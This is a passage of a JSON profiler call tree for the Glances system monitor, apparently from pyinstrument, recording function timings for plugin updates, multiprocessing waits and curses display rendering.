[]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.010000,\"attributes\": {\"cProgramlistPlugin\": 0.002000938999117352, \"l633\": 0.008001018999493681, \"cPercpuPlugin\": 0.002000793996558059, \"cProcesslistPlugin\": 0.005998414002533536, \"l656\": 0.0019991279987152666},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.004002,\"attributes\": {\"cProgramlistPlugin\": 0.002000938999117352, \"l623\": 0.002000938999117352, \"cPercpuPlugin\": 0.002000793996558059, \"l614\": 0.002000793996558059},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999952997721266, \"l633\": 0.001999952997721266},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999952997721266, \"l623\": 0.001999952997721266},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000216\",\"time\": 0.002001,\"attributes\": {\"cSensorsPlugin\": 0.002001013999688439, \"l219\": 0.002001013999688439},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.002001,\"attributes\": {\"cSensorsPlugin\": 0.002001013999688439, \"l678\": 0.002001013999688439},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.002001,\"attributes\": {\"cSensorsPlugin\": 0.002001013999688439, \"l633\": 0.002001013999688439},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002001,\"attributes\": {\"cSensorsPlugin\": 0.002001013999688439, \"l619\": 0.002001013999688439},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.020002,\"attributes\": {\"cFsPlugin\": 0.016730780000216328, \"l1278\": 0.020002427001600154, \"cWifiPlugin\": 0.001423118003003765, \"cQuicklookPlugin\": 0.0018485289983800612},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.020002,\"attributes\": {\"l1295\": 0.020002427001600154},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.016731,\"attributes\": {\"cFsPlugin\": 0.016730780000216328, \"l131\": 0.016730780000216328},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.016731,\"attributes\": {\"cFsPlugin\": 0.016730780000216328, \"l182\": 0.016730780000216328},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.016731,\"attributes\": {\"l630\": 0.002993150999827776, \"l631\": 0.013737629000388552},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002993,\"attributes\": {\"cForkProcess\": 0.002993150999827776, \"l121\": 0.002993150999827776},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002993,\"attributes\": {\"l281\": 0.002993150999827776},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002993,\"attributes\": {\"cPopen\": 0.002993150999827776, \"l20\": 0.002993150999827776},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002993,\"attributes\": {\"cPopen\": 0.002993150999827776, \"l70\": 0.002993150999827776},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002993,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.007604,\"attributes\": {\"cForkProcess\": 0.007604461003211327, \"l156\": 0.007604461003211327},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.007604,\"attributes\": {\"cPopen\": 0.007604461003211327, \"l41\": 0.007604461003211327},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.007604,\"attributes\": {\"l1165\": 0.007604461003211327},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.007604,\"attributes\": {\"cPollSelector\": 0.007604461003211327, \"l398\": 0.007604461003211327},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.007604,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.007604,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001422,\"attributes\": {},\"children\": []},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.004711,\"attributes\": {\"cForkProcess\": 0.004710900000645779, \"l156\": 0.004710900000645779},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.004711,\"attributes\": {\"cPopen\": 0.004710900000645779, \"l41\": 0.004710900000645779},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.004711,\"attributes\": {\"l1165\": 0.004710900000645779},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.004711,\"attributes\": {\"cPollSelector\": 0.004710900000645779, \"l398\": 0.004710900000645779},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.004711,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.004711,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u000083\",\"time\": 0.001423,\"attributes\": {\"cWifiPlugin\": 0.001423118003003765, \"l101\": 0.001423118003003765},\"children\": [{\"identifier\": \"_get_wireless_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u0000114\",\"time\": 0.001423,\"attributes\": {\"cWifiPlugin\": 0.001423118003003765, \"l119\": 0.001423118003003765},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001423,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.001849,\"attributes\": {\"cQuicklookPlugin\": 0.0018485289983800612, \"l117\": 0.0018485289983800612},\"children\": [{\"identifier\": \"get_info\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000246\",\"time\": 0.001849,\"attributes\": {\"cCpuPercent\": 0.0018485289983800612, \"l252\": 0.0018485289983800612},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001937\",\"time\": 0.001849,\"attributes\": {\"l1945\": 0.0018485289983800612},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000643\",\"time\": 0.001849,\"attributes\": {\"l648\": 0.0018485289983800612},\"children\": [{\"identifier\": \"_cpu_get_cpuinfo_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000629\",\"time\": 0.001849,\"attributes\": {\"l635\": 0.0018485289983800612},\"children\": [{\"identifier\": \"bytes.lower\\u0000<built-in>\\u00000\",\"time\": 0.001849,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001849,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.060159,\"attributes\": {\"cGlancesCursesStandalone\": 2.0601594879990444, \"l1154\": 0.04999807100102771, \"l1169\": 1.0059548810022534, \"l1172\": 1.0042065359957633},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.049998,\"attributes\": {\"cGlancesCursesStandalone\": 0.04999807100102771, \"l1135\": 0.04999807100102771},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.049998,\"attributes\": {\"cGlancesCursesStandalone\": 0.04999807100102771, \"l569\": 0.04800026800512569, \"l603\": 0.0019978029959020205},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.048000,\"attributes\": {\"cGlancesCursesStandalone\": 0.04800026800512569, \"l545\": 0.04800026800512569},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.048000,\"attributes\": {\"cProgramlistPlugin\": 0.020003589997941162, \"l1101\": 0.04800026800512569, \"cProcesslistPlugin\": 0.025994039002398495, \"cLoadPlugin\": 0.002002639004786033},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.045998,\"attributes\": {\"cProgramlistPlugin\": 0.020003589997941162, \"l566\": 0.0020011910019093193, \"l587\": 0.04399643799843034, \"cProcesslistPlugin\": 0.025994039002398495},\"children\": [{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002001,\"attributes\": {\"l824\": 0.0020011910019093193},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.002001,\"attributes\": {\"l773\": 0.0020011910019093193},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.031996,\"attributes\": {\"cProgramlistPlugin\": 0.018002398996031843, \"l538\": 0.027997770004731137, \"l537\": 0.003997815998445731, \"cProcesslistPlugin\": 0.013993187007145025},\"children\": [{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.001997512998059392, \"l440\": 0.001997512998059392},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.001997512998059392, \"l290\": 0.001997512998059392},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.001997512998059392, \"l969\": 0.001997512998059392},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001998641004320234, \"l429\": 0.001998641004320234},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001998641004320234, \"l278\": 0.001998641004320234},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001998641004320234, \"l963\": 0.001998641004320234},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019996829942101613, \"l309\": 0.0019996829942101613},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019996829942101613, \"l885\": 0.0019996829942101613},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002013,\"attributes\": {\"cProgramlistPlugin\": 0.002013375000387896, \"l315\": 0.002013375000387896},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002013,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001986,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002007,\"attributes\": {\"cProgramlistPlugin\": 0.0020074559943168424, \"l471\": 0.0020074559943168424},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002007,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.005995,\"attributes\": {\"cProcesslistPlugin\": 0.005995379004161805, \"l309\": 0.005995379004161805},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.005995,\"attributes\": {\"cProcesslistPlugin\": 0.005995379004161805, \"l857\": 0.0019945830063079484, \"l885\": 0.0020007299972348846, \"l856\": 0.002000066000618972},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001995,\"attributes\": {\"cProcesslistPlugin\": 0.0019945830063079484, \"l963\": 0.0019945830063079484},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001995,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020007299972348846, \"l910\": 0.0020007299972348846},\"children\": [{\"identifier\": \"set\\u0000/home/nicolargo/dev/glances/glances/actions.py\\u000049\",\"time\": 0.002001,\"attributes\": {\"cGlancesActions\": 0.0020007299972348846, \"l51\": 0.0020007299972348846},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000066000618972, \"l965\": 0.002000066000618972},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019997060007881373, \"l440\": 0.0019997060007881373},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019997060007881373, \"l296\": 0.0019997060007881373},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_pid\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000364\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019993840032839216, \"l367\": 0.0019993840032839216},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999150001211092, \"l309\": 0.001999150001211092},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999150001211092, \"l882\": 0.001999150001211092},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999150001211092, \"l902\": 0.001999150001211092},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.001999,\"attributes\": {\"cGlancesThresholds\": 0.001999150001211092, \"l50\": 0.001999150001211092},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"list.extend\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.010000,\"attributes\": {\"cProcesslistPlugin\": 0.01000009999552276, \"l538\": 0.01000009999552276},\"children\": [{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000379994569812, \"l472\": 0.002000379994569812},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000379994569812, \"l466\": 0.002000379994569812},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000379994569812, \"l1130\": 0.002000379994569812},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_pid\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000364\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019985510007245466, \"l367\": 0.0019985510007245466},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000638000026811, \"l309\": 0.002000638000026811},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000638000026811, \"l855\": 0.002000638000026811},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000638000026811, \"l965\": 0.002000638000026811},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/load/__init__.py\\u0000144\",\"time\": 0.002003,\"attributes\": {\"cLoadPlugin\": 0.002002639004786033, \"l176\": 0.002002639004786033},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"__display_right\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000826\",\"time\": 0.001998,\"attributes\": {\"cGlancesCursesStandalone\": 0.0019978029959020205, \"l845\": 0.0019978029959020205},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.001998,\"attributes\": {\"cGlancesCursesStandalone\": 0.0019978029959020205, \"l1094\": 0.0019978029959020205},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.001998,\"attributes\": {\"cGlancesCursesStandalone\": 0.0019978029959020205, \"l1054\": 0.0019978029959020205},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.101103,\"attributes\": {\"cGlancesCursesStandalone\": 0.10110323999833781, \"l291\": 0.10110323999833781},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.101103,\"attributes\": {\"cGlancesCursesStandalone\": 0.10110323999833781, \"l260\": 0.10110323999833781},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.101103,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.101103,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100471,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004708809996373, \"l1202\": 0.1004708809996373},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100471,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100471,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100523,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052321100374684, \"l291\": 0.10052321100374684},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100523,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052321100374684, \"l260\": 0.10052321100374684},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100523,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100523,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100305,\"attributes\": {\"cGlancesCursesStandalone\": 0.10030528799688909, \"l1202\": 0.10030528799688909},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100305,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100305,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100550,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054982799920253, \"l291\": 0.10054982799920253},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100550,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054982799920253, \"l260\": 0.10054982799920253},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100550,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100550,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100363,\"attributes\": {\"cGlancesCursesStandalone\": 0.10036307200061856, \"l1202\": 0.10036307200061856},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100363,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100363,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100588,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058813400246436, \"l291\": 0.10058813400246436},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100588,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058813400246436, \"l260\": 0.10058813400246436},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100588,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100588,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100474,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047376200236613, \"l1202\": 0.10047376200236613},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100474,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100474,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100706,\"attributes\": {\"cGlancesCursesStandalone\": 0.10070580299361609, \"l291\": 0.10070580299361609},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100706,\"attributes\": {\"cGlancesCursesStandalone\": 0.10070580299361609, \"l260\": 0.10070580299361609},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100706,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100706,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100363,\"attributes\": {\"cGlancesCursesStandalone\": 0.10036301700165495, \"l1202\": 0.10036301700165495},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100363,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100363,\"attributes\": {},\"children\": 